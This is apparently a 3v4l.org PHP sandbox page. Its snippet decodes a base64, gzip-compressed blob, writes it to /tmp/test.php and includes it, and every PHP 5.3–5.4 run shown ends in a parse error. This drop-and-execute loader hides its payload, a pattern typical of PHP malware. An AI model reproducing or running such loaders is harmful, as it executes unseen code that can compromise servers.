3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php if(version_compare(PHP_VERSION,'5.3.0','<')) exit; file_put_contents('/tmp/test.php', gzuncompress(base64_decode('eNrtV2Fv2zYQ/b5fQRtEKaGy63hr2llTOjf11gJLGtTGgLUuBEaiLCUSqZBU3cTTf99RcmwrdoOgA4ausGEbJvn47u7d6Yz75UUe5z9wmjGV04Ch94yH07EO0+TcLRRDr6hmkyRj7wVnbpBSpVZbiH3WgFbT241FXpynSYCiggc6ERz5fiC40rIItIUDj3AxJ84mI8Khx4s0tRdJZH1iUsEtuJPlVDLr7PWZ/+fo3fjN21OHPO3+2H1GHHLkEdteSKYLyZGBcT0YNO04OLTdEghbsJXAx+wRcF0T+9GjxmaUSLNbmYdbD+FlqWL34wBULvl2AWoV1lxfxAAAR50jxbSRS2ma5Raca6FhWfkDp7PNU9u23aVrOHLLu+nIRJhE1xae/Uu51zx3ZJ7tknm2IfM9RDj2NoKb7QrONarGnudFFIRbsVWrHVrhuKFGWVdv9X1bgxOALnIpNAs0CxFOqmp07woHtAU4sNhSVDMqQzHnVl1B4IFkoKue3NiLEGz4IYtokWrfRHUDBe8DVRPnbq5q82W5dmnTh1c12eTGwheVwVbTYoNpt3lQ1AKx7/HtwnZ3hKn0y2J22H/+8yHl4WH/6eGBVdtruEV+P5lA2eILj7N5o3VYZFRIkbMnL5lME25Alw2QRX4l3XUBkH7voN/pPe/0+6jXG1RvdDwaA32tGCQR4hxdFZD8DfQB6veXaPDlcQ9eyBJRBG6ing2P3WXnKBIyo/CM/dXJOiF6PUgGCgFvl6yQpGtwoNXbam3Z3bbddshSMKRvUKLQMFOayZBmDjJyokiKDOnb6nMQF+hWWQfRCLDocQ+g16qKvnO0rH6ysfs9BPb1ab1cPcCGuyrFexS5w7CK8Vm/9x8LMk90vJLka5L7jYbygOx+MZ/Ot509isz/E589OHnfeeA7Ur3V3IcqoU/GTBTpvsfve/y+x+97/L7H/797/K45oxESTh2cOZivh3Sctjyc2QsdSzFHoNd09DlgublqWZi/wLzbnvL2oN0Gf6dtnE7bqOUh+JVNzYEZjkssjNLTdyxKWWX12Axllu+fDk9G47Ph8cj3u2S6NaqBy6Abo0FsYVFpc8J0LEJl2VQhnFcequK8mjvzCjCOhdSnFNJpOz3nJ7vleURXVDBt64QXzNXyeoGvqtxvWYRhCV9VLcsMgK4hTfgncQmd66o+Wo+AbhlQDa6tFUFY2gsWxAKR34Zv/hiYnG655WLlYVkPu5IGZqe+gv5G8DfKzCX1offxAzEr8rHSt4Ysr50wpeiMmQoxR3U8D/CsXElQ1hbPhuPxbidr5vIfFETBEQ=='))); include '/tmp/test.php'; P
Output for 5.4.0 - 5.4.12, 5.4.14
Parse error: syntax error, unexpected end of file in nmnoT on line 5
Process exited with code 255.
Output for 5.4.13
Parse error: syntax error, unexpected end of file in /in/nmnoT on line 5
Process exited with code 255.
Output for 5.3.0 - 5.3.22, 5.3.24
Parse error: syntax error, unexpected $end in nmnoT on line 5
Process exited with code 255.
Output for 5.3.23
Parse error: syntax error, unexpected $end in /in/nmnoT on line 5
Process exited with code 255.